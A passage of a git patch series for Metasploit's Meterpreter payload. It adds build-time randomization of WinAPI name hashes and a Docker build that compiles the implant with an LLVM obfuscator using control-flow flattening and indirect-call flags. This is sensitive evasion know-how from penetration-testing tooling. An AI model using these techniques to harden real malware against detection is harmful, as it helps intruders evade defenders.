hashes_txt.read_text() if hashes_txt.exists() else "" + if new != old: + print( + f"error: {hashes_txt} is out of date; " + f"run `python3 {Path(__file__).relative_to(root.parent)}`", + file=sys.stderr, + ) + return 1 + print(f"ok: {hashes_txt} matches winapi.h ({len(pairs)} names, {len(dlls)} DLLs)") + return 0 + + hashes_txt.write_text(new) + print(f"wrote {hashes_txt} ({len(pairs)} names, {len(dlls)} DLLs: {', '.join(dlls)})") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/c/meterpreter/workspace/metsrv/CMakeLists.txt b/c/meterpreter/workspace/metsrv/CMakeLists.txt index ced9c69bc..390ebb275 100644 --- a/c/meterpreter/workspace/metsrv/CMakeLists.txt +++ b/c/meterpreter/workspace/metsrv/CMakeLists.txt @@ -18,6 +18,105 @@ endif() include_directories(../../source/common) include_directories(../../source/ReflectiveDLLInjection/common) +# ============================================================================== +# Build-time randomization of the winapi function-name hash table. +# +# Only active under non-MSVC toolchains (i.e. the MinGW / obfuscation docker +# builds). MSVC vcxproj builds have no codegen hook, so they compile against +# the checked-in stable source/metsrv/winapi_hashes.h instead. +# +# Env precedence (non-MSVC only): +# 1. METSRV_HASH_SEED / METSRV_HASH_KEY → explicit override +# 2. RANDOM_HASH=1 → randomize per configure +# 3. otherwise → default 0 / 13 (stable) +# +# NOTE: Any non-default HASH_KEY/HASH_SEED breaks the ReflectiveLoader, which +# holds hardcoded hashes (LOADLIBRARYA_HASH, GETPROCADDRESS_HASH, …) computed +# with the compile-time defaults. When we detect randomization, force the +# reflective loader off and warn. +# ============================================================================== +if(NOT MSVC) + set(_METSRV_HASH_RANDOMIZED FALSE) + if(DEFINED ENV{METSRV_HASH_SEED}) + set(METSRV_HASH_SEED "$ENV{METSRV_HASH_SEED}") + set(_METSRV_HASH_RANDOMIZED TRUE) + elseif("$ENV{RANDOM_HASH}" STREQUAL "1") + string(RANDOM LENGTH 8 ALPHABET "0123456789abcdef" _s) + set(METSRV_HASH_SEED "0x${_s}") + set(_METSRV_HASH_RANDOMIZED TRUE) + else() + set(METSRV_HASH_SEED "0") + endif() + if(DEFINED ENV{METSRV_HASH_KEY}) + set(METSRV_HASH_KEY "$ENV{METSRV_HASH_KEY}") + set(_METSRV_HASH_RANDOMIZED TRUE) + elseif("$ENV{RANDOM_HASH}" STREQUAL "1") + string(RANDOM LENGTH 2 ALPHABET "0123456789" _k) + math(EXPR METSRV_HASH_KEY "1 + (${_k} % 30)") # 1..30 + set(_METSRV_HASH_RANDOMIZED TRUE) + else() + set(METSRV_HASH_KEY "13") + endif() + message(STATUS "metsrv hash randomization: HASH_KEY=${METSRV_HASH_KEY} HASH_SEED=${METSRV_HASH_SEED}") + + if(_METSRV_HASH_RANDOMIZED AND NOT EXCLUDE_REFLECTIVE_LOADER) + message(WARNING + "Custom HASH_KEY/HASH_SEED requested; forcing EXCLUDE_REFLECTIVE_LOADER=ON. " + "The ReflectiveLoader carries hardcoded hashes (LOADLIBRARYA_HASH etc.) " + "computed with the compile-time defaults, so it cannot resolve exports " + "when the runtime _hash() is randomized. Rebuild without RANDOM_HASH / " + "METSRV_HASH_SEED / METSRV_HASH_KEY if you need the reflective loader.") + set(EXCLUDE_REFLECTIVE_LOADER TRUE) + endif() + + # Build an ASCII lookup table once (CMake 3.16 lacks string(HEX ...)). + foreach(_code RANGE 32 126) + string(ASCII ${_code} _c) + set("METSRV_ASCII_${_c}" ${_code}) + endforeach() + + # Pure-CMake port of _hash() from DirectSyscall.h. + function(metsrv_compute_hash NAME OUTVAR) + set(_H ${METSRV_HASH_SEED}) + string(LENGTH "${NAME}" _len) + math(EXPR _last "${_len} - 1") + foreach(_i RANGE 0 ${_last}) + string(SUBSTRING "${NAME}" ${_i} 1 _ch) + set(_c "${METSRV_ASCII_${_ch}}") + math(EXPR _shr "(${_H} >> ${METSRV_HASH_KEY}) & 0xFFFFFFFF") + math(EXPR _shl "(${_H} << (32 - ${METSRV_HASH_KEY})) & 0xFFFFFFFF") + math(EXPR _H "(${_shr} | ${_shl}) & 0xFFFFFFFF") + math(EXPR _H "(${_H} + ${_c}) & 0xFFFFFFFF") + endforeach() + math(EXPR _H "${_H}" OUTPUT_FORMAT HEXADECIMAL) + set(${OUTVAR} "${_H}" PARENT_SCOPE) + endfunction() + + # Read the function-name table. One name per line; blank + '#' lines skipped. + set(METSRV_HASHES_INPUT "${CMAKE_CURRENT_SOURCE_DIR}/../../source/metsrv/winapi_hashes.txt") + file(STRINGS "${METSRV_HASHES_INPUT}" METSRV_HASH_NAMES REGEX "^[A-Za-z_]") + + # Emit the generated header. Only touch the file if content changed. + set(_gen "// Auto-generated by CMake. HASH_KEY=${METSRV_HASH_KEY} HASH_SEED=${METSRV_HASH_SEED}\n") + string(APPEND _gen "#ifndef _METERPRETER_WINAPI_HASHES_H\n#define _METERPRETER_WINAPI_HASHES_H\n\nenum HashedFunctions {\n") + foreach(_n ${METSRV_HASH_NAMES}) + metsrv_compute_hash("${_n}" _h) + string(APPEND _gen " H_${_n} = ${_h},\n") + endforeach() + string(APPEND _gen "};\n\n#endif\n") + + set(HASHES_H "${CMAKE_CURRENT_BINARY_DIR}/generated/winapi_hashes.h") + set(_prev "") + if(EXISTS "${HASHES_H}") + file(READ "${HASHES_H}" _prev) + endif() + if(NOT "${_prev}" STREQUAL "${_gen}") + file(WRITE "${HASHES_H}" "${_gen}") + endif() + set_property(DIRECTORY APPEND PROPERTY CMAKE_CONFIGURE_DEPENDS "${METSRV_HASHES_INPUT}") +endif() +# ============================================================================== + set(SRC_DIR ../../source/metsrv) if(EXCLUDE_REFLECTIVE_LOADER) file(GLOB SRC_FILES @@ -56,6 +155,13 @@ if(EXCLUDE_REFLECTIVE_LOADER) target_compile_definitions(${PROJECT_NAME} PRIVATE NO_REFLECTIVE_LOADER) endif() +# Route metsrv to the generated winapi_hashes.h and keep the runtime _hash() +# consistent with the compile-time values above. +target_include_directories(${PROJECT_NAME} PRIVATE "${CMAKE_CURRENT_BINARY_DIR}/generated") +target_compile_definitions(${PROJECT_NAME} PRIVATE + HASH_KEY=${METSRV_HASH_KEY} + HASH_SEED=${METSRV_HASH_SEED}) + # Post processing (required for all Meterpreter DLLs) editbin(${PROJECT_NAME} ${BIN_SUBSYSTEM}) copyoutput(${PROJECT_NAME} ${BIN_OUTPUT_DIR}) From 7b4b31f2752b03604893dda9e282ec8099e15f16 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Mon, 31 Aug 2026 12:23:32 +0200 Subject: [PATCH 7/9] feat: add .env to .gitignore to prevent environment file tracking --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index e063408cc..c32c3110f 100644 --- a/.gitignore +++ b/.gitignore @@ -4,3 +4,4 @@ .vs *.user .vscode +**/.env From 93c37ab8748418d2398631596ec1ddb48e431f06 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Mon, 31 Aug 2026 12:42:57 +0200 Subject: [PATCH 8/9] feat: update Dockerfile.obfuscation to use env file --- docker/.env.example | 10 ++++++++++ docker/Dockerfile.obfuscation | 26 +++++++++++++++++++------- 2 files changed, 29 insertions(+), 7 deletions(-) create mode 100644 docker/.env.example diff --git a/docker/.env.example b/docker/.env.example new file mode 100644 index 000000000..c8a544566 --- /dev/null +++ b/docker/.env.example @@ -0,0 +1,10 @@ +# example of obfuscation +# You can use any llvm obfuscator project. this example is using Arkari + +# WARNING: Always make sure you are using trusted sources. + +# LLVM_MINGW_REPOSITORY="https://github.com/mstorsjo/llvm-mingw" +# LLVM_MINGW_VERSION=20260616 +# LLVM_REPOSITORY="https://github.com/jbx81-1337/Arkari" +# LLVM_VERSION="llvm-22.x" +# LLVM_MINGW_ADDITIONAL_ARGS="-mllvm -irobf-indbr -mllvm -irobf-icall -mllvm -irobf-indgv -mllvm -irobf-cse -mllvm -irobf-fla" diff --git a/docker/Dockerfile.obfuscation b/docker/Dockerfile.obfuscation index e207e2acd..b1bc85162 100644 --- a/docker/Dockerfile.obfuscation +++ b/docker/Dockerfile.obfuscation @@ -1,13 +1,27 @@ # To build the dev environment. -# docker build -t rapid7/msf-ubuntu-x64-meterpreter-obfuscation -f ./Dockerfile.obfuscation . -FROM ubuntu:24.04 +# Example usage: +# cp .env.example .env +# nano .env (set your obfuscation options) +# set -a && . ./.env && set +a +# docker build --build-arg LLVM_REPOSITORY --build-arg LLVM_VERSION --build-arg LLVM_MINGW_REPOSITORY --build-arg LLVM_MINGW_VERSION --build-arg LLVM_MINGW_ADDITIONAL_ARGS -t rapid7/msf-ubuntu-x64-meterpreter-obfuscation -f Dockerfile.obfuscation . +FROM --platform=linux/amd64 ubuntu:24.04 +ARG LLVM_REPOSITORY +ARG LLVM_VERSION +ARG LLVM_MINGW_REPOSITORY +ARG LLVM_MINGW_VERSION +ARG LLVM_MINGW_ADDITIONAL_ARGS + +ENV LLVM_ADDITIONAL_ARGS="-Wl,--strip-all,--build-id=none,--no-insert-timestamp,--exclude-all-symbols -fmodule-name=lib.dll -O0 -Wno-macro-redefined -Wno-unused-command-line-argument -Wno-error=incompatible-pointer-types" ENV DEBIAN_FRONTEND noninteractive -ENV TOOLCHAIN_PREFIX=/opt/arkari-mingw +ENV TOOLCHAIN_PREFIX=/opt/llvm-mingw ARG TOOLCHAIN_ARCHS="i686 x86_64" ARG DEFAULT_CRT=msvcrt ARG CFGUARD_ARGS="" +RUN echo "Building with LLVM repository: $LLVM_REPOSITORY, version: $LLVM_VERSION" +RUN echo "Using LLVM MinGW repository: $LLVM_MINGW_REPOSITORY, version: $LLVM_MINGW_VERSION" +RUN echo "LLVM MinGW additional args: $LLVM_MINGW_ADDITIONAL_ARGS" # Other meterpreters RUN apt-get update && \ apt-get dist-upgrade -y && \ @@ -25,7 +39,7 @@ RUN DEBIAN_FRONTEND="noninteractive" apt-get install -qqy --no-install-recommend apt-get clean -y && \ rm -rf /var/lib/apt/lists/* -RUN git clone http://github.com/jbx81-1337/arkari-mingw.git --branch=master --single-branch /tmp/build +RUN git clone "$LLVM_MINGW_REPOSITORY" --branch="$LLVM_MINGW_VERSION" --single-branch /tmp/build WORKDIR /tmp/build RUN ./build-llvm.sh $TOOLCHAIN_PREFIX && \ @@ -42,6 +56,4 @@ RUN ./build-llvm.sh $TOOLCHAIN_PREFIX && \ rm -rf /build/* ENV PATH="$TOOLCHAIN_PREFIX/bin:${PATH}" ENV EXCLUDE_REFLECTIVE_LOADER=1 -ENV LLVM_ADDITIONAL_ARGS="-Wl,--strip-all,--build-id=none,--no-insert-timestamp,--exclude-all-symbols -fmodule-name=lib.dll -O0 -Wno-macro-redefined -Wno-unused-command-line-argument -Wno-error=incompatible-pointer-types" -ENV ARKARI_ADDITIONAL_ARGS="-mllvm -irobf-indbr -mllvm -irobf-icall -mllvm -irobf-indgv -mllvm -irobf-cse -mllvm -irobf-fla" -ENV ADDITIONAL_ARGS="-DCMAKE_CXX_FLAGS=\"$LLVM_ADDITIONAL_ARGS $ARKARI_ADDITIONAL_ARGS\" -DCMAKE_C_FLAGS=\"$LLVM_ADDITIONAL_ARGS $ARKARI_ADDITIONAL_ARGS\" -DCMAKE_ASM_FLAGS=\"-O0\" -DEXCLUDE_REFLECTIVE_LOADER=ON" +ENV ADDITIONAL_ARGS="-DCMAKE_CXX_FLAGS=\"$LLVM_ADDITIONAL_ARGS $LLVM_MINGW_ADDITIONAL_ARGS\" -DCMAKE_C_FLAGS=\"$LLVM_ADDITIONAL_ARGS $LLVM_MINGW_ADDITIONAL_ARGS\" -DCMAKE_ASM_FLAGS=\"-O0\" -DEXCLUDE_REFLECTIVE_LOADER=ON" From d2cc65f3003b1a5ffa5cd7cab70ebdcf045dcb41 Mon Sep 17 00:00:00 2001 From: Diego Ledda Date: Mon, 31 Aug 2026 12:47:23 +0200 Subject: [PATCH 9/9] fix: update correct obfuscation docker name --- c/meterpreter/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/c/meterpreter/Makefile b/c/meterpreter/Makefile index 0ac968b4f..2f21648ab 100644 --- a/c/meterpreter/Makefile +++ b/c/meterpreter/Makefile @@ -1,6 +1,6 @@ ID := $(shell id -u) ifdef OBFUSCATION -DOCKER_CONTAINER=rapid7/msf-ubuntu-x64-meterpreter:obfuscation +DOCKER_CONTAINER=rapid7/msf-ubuntu-x64-meterpreter-obfuscation else DOCKER_CONTAINER=rapid7/msf-ubuntu-x64-meterpreter:latest endif